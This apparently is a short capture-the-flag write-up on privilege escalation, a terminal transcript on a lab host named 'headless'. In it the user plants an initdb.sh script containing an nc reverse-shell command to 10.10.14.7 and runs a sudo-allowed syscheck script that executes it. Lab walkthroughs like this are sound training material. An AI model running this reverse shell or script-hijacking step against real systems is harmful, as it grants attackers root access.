Priv Esc
Last updated
Was this helpful?
Last updated
Was this helpful?
-r-xr-xr-x 1 root root 768 Feb 2 16:11 /usr/bin/syscheck
dvir@headless:~/app$ ls
ls
app.py hackattempt.html index.html report.sh
dashboard.html hacking_reports inspect_reports.py support.html
dvir@headless:~/app$ echo '#!/bin/bash' > initdb.sh
echo '#!/bin/bash' > initdb.sh
dvir@headless:~/app$ cat initdb.sh
cat initdb.sh
#!/bin/bash
dvir@headless:~/app$ echo 'nc 10.10.14.7 1338 -e /bin/bash' >> initdb.sh
echo 'nc 10.10.14.7 1338 -e /bin/bash' >> initdb.sh
dvir@headless:~/app$ chmod +x initdb.sh
chmod +x initdb.sh
dvir@headless:~/app$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.05, 0.06, 0.10
Database service is not running. Starting it...